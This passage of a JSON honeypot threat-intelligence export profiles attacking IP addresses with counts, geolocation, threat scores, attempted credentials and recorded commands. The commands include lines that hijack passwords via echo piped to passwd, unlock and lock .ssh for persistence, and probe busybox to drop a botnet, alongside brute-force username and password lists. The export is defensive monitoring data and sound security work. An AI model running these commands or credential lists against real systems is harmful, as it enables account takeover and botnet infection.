        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"myadmin1234\\nENIutpCgfIln\\nENIutpCgfIln\\n\"|passwd",
        "echo -e \"myadmin1234\\nENIutpCgfIln\\nENIutpCgfIln\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:55:37.414000+00:00",
        "last_seen_30d": "2026-03-07T06:26:40.122000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 16
      }
    },
    "101.47.142.8": {
      "attack_count": 84,
      "first_seen": "2026-03-26T05:17:26.850Z",
      "last_seen": "2026-03-26T05:35:02.144Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "bot2",
        "345gs5662d34",
        "system_admin",
        "vaultuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "bot2",
        "system_admin",
        "vaultuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"bot2\\nkIBl2vDMOcKV\\nkIBl2vDMOcKV\\n\"|passwd",
        "echo -e \"bot2\\nkIBl2vDMOcKV\\nkIBl2vDMOcKV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T05:17:26.850000+00:00",
        "last_seen_30d": "2026-03-26T05:36:07.390000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 13
      }
    },
    "43.133.212.22": {
      "attack_count": 74,
      "first_seen": "2026-03-24T13:25:18.503Z",
      "last_seen": "2026-03-24T13:46:32.997Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ekp",
        "xx"
      ],
      "passwords_attempted": [
        "1234",
        "345gs5662d34",
        "Xx123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Xx123!\\nDh5cw1AejO42\\nDh5cw1AejO42\\n\"|passwd",
        "echo -e \"Xx123!\\nDh5cw1AejO42\\nDh5cw1AejO42\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T13:25:18.503000+00:00",
        "last_seen_30d": "2026-03-24T13:47:36.248000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 8
      }
    },
    "77.42.88.138": {
      "attack_count": 62,
      "first_seen": "2026-03-19T14:54:06.405Z",
      "last_seen": "2026-03-20T12:58:30.688Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456789",
        "12345678910",
        "123456789@"
      ],
      "commands_executed": [
        "cat /proc/uptime | awk '{print $1}'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T09:01:18.991000+00:00",
        "last_seen_30d": "2026-03-22T18:24:37.039000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 221,
        "Cowrie": 62
      }
    },
    "103.203.57.2": {
      "attack_count": 52,
      "first_seen": "2026-03-02T12:05:41.826Z",
      "last_seen": "2026-03-28T23:31:30.745Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:05:41.826000+00:00",
        "last_seen_30d": "2026-03-28T23:32:35.214000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Cowrie": 52
      }
    },
    "46.146.238.1": {
      "attack_count": 50,
      "first_seen": "2026-03-29T20:47:19.391Z",
      "last_seen": "2026-03-29T20:52:43.705Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Perm",
      "asn": 12768,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:47:19.391000+00:00",
        "last_seen_30d": "2026-03-29T20:53:44.206000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "24.65.228.183": {
      "attack_count": 25,
      "first_seen": "2026-03-25T12:22:33.739Z",
      "last_seen": "2026-03-25T12:26:51.868Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Edmonton",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:22:33.739000+00:00",
        "last_seen_30d": "2026-03-25T12:27:57.214000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "180.76.115.202": {
      "attack_count": 24,
      "first_seen": "2026-03-21T09:11:04.440Z",
      "last_seen": "2026-03-21T09:38:45.031Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "free",
        "george",
        "marek",
        "shawn"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "password",
        "shawnshawn"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T09:11:04.440000+00:00",
        "last_seen_30d": "2026-03-21T09:39:52.865000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 17
      }
    },
    "211.230.219.131": {
      "attack_count": 22,
      "first_seen": "2026-03-02T22:38:23.698Z",
      "last_seen": "2026-03-02T22:38:26.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1111111",
        "666666",
        "Win1doW$"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox TIBUG",
        "cat /proc/mounts; /bin/busybox TIBUG",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIBUG",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox TIBUG",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Iksan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:38:23.698000+00:00",
        "last_seen_30d": "2026-03-02T22:39:34.625000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 2
      }
    },
    "138.197.163.192": {
      "attack_count": 21,
      "first_seen": "2026-03-28T11:54:52.477Z",
      "last_seen": "2026-03-28T11:58:00.748Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T11:54:52.477000+00:00",
        "last_seen_30d": "2026-03-28T11:59:02.248000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "122.97.136.155": {
      "attack_count": 20,
      "first_seen": "2026-03-24T23:26:40.429Z",
      "last_seen": "2026-03-24T23:31:00.169Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:26:40.429000+00:00",
        "last_seen_30d": "2026-03-24T23:32:09.784000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "82.129.230.201": {
      "attack_count": 20,
      "first_seen": "2026-03-06T04:04:47.002Z",
      "last_seen": "2026-03-11T22:55:32.199Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 6.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 8,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T20:54:25+00:00",
        "last_seen_30d": "2026-03-12T11:16:28.738000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 25,
        "Cowrie": 20
      }
    },
    "143.198.109.152": {
      "attack_count": 15,
      "first_seen": "2026-03-12T16:49:05.727Z",
      "last_seen": "2026-03-12T16:54:01.445Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "sol",
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:46:34.732000+00:00",
        "last_seen_30d": "2026-03-12T16:55:08.236000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "157.245.100.145": {
      "attack_count": 12,
      "first_seen": "2026-03-11T21:47:35.627Z",
      "last_seen": "2026-03-11T21:52:52.290Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solana",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:45:46.230000+00:00",
        "last_seen_30d": "2026-03-11T21:53:57.904000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "66.132.172.138": {
      "attack_count": 12,
      "first_seen": "2026-03-23T00:32:51.565Z",
      "last_seen": "2026-03-30T03:33:37.513Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 10,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-21T16:16:36+00:00",
        "last_seen_30d": "2026-03-30T21:31:29.077000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 30,
        "Cowrie": 12,
        "ElasticPot": 4,
        "ConPot": 3
      }
    },
    "167.94.138.46": {
      "attack_count": 10,
      "first_seen": "2026-03-09T18:15:03.149Z",
      "last_seen": "2026-03-09T18:16:00.260Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 22,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T21:03:03+00:00",
        "last_seen_30d": "2026-03-23T06:48:55.925000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 46,
        "Cowrie": 10,
        "ElasticPot": 4,
        "Dicompot": 1
      }
    },
    "185.93.89.101": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:35:14.561Z",
      "last_seen": "2026-03-06T05:55:36.554Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech#2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:00:05.993000+00:00",
        "last_seen_30d": "2026-03-06T05:56:44.176000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "34.140.103.158": {
      "attack_count": 9,
      "first_seen": "2026-03-03T12:59:47.462Z",
      "last_seen": "2026-03-03T12:59:53.655Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:59:47.462000+00:00",
        "last_seen_30d": "2026-03-03T13:01:01.647000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "65.49.1.80": {
      "attack_count": 9,
      "first_seen": "2026-03-02T06:40:17.861Z",
      "last_seen": "2026-03-11T13:38:21.575Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 417,
        "days_active_30d": 30,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T01:48:45+00:00",
        "last_seen_30d": "2026-03-31T13:44:24.945000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 266,
        "Honeytrap": 89,
        "Ciscoasa": 24,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "H0neytr4p": 8,
        "Adbhoney": 4,
        "ConPot": 3,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "105.111.167.75": {
      "attack_count": 8,
      "first_seen": "2026-03-31T21:40:52.886Z",
      "last_seen": "2026-03-31T21:40:55.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": null,
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T21:40:52.886000+00:00",
        "last_seen_30d": "2026-03-31T21:42:04.872000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "178.20.55.16": {
      "attack_count": 8,
      "first_seen": "2026-03-20T19:49:57.031Z",
      "last_seen": "2026-03-20T19:50:20.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 29075,
      "as_org": "Ielo-liazo Services SAS",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 14.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 17,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T16:57:34+00:00",
        "last_seen_30d": "2026-03-20T19:51:21.533000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "H0neytr4p": 3,
        "Ciscoasa": 2
      }
    },
    "198.235.24.69": {
      "attack_count": 8,
      "first_seen": "2026-03-03T16:59:28.999Z",
      "last_seen": "2026-03-31T04:16:35.295Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:40:17+00:00",
        "last_seen_30d": "2026-03-31T19:04:24.038000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 35,
        "Cowrie": 8,
        "ConPot": 1,
        "Dicompot": 1,
        "Honeyaml": 1
      }
    },
    "147.185.132.25": {
      "attack_count": 6,
      "first_seen": "2026-03-03T15:33:40.582Z",
      "last_seen": "2026-03-19T23:00:05.637Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
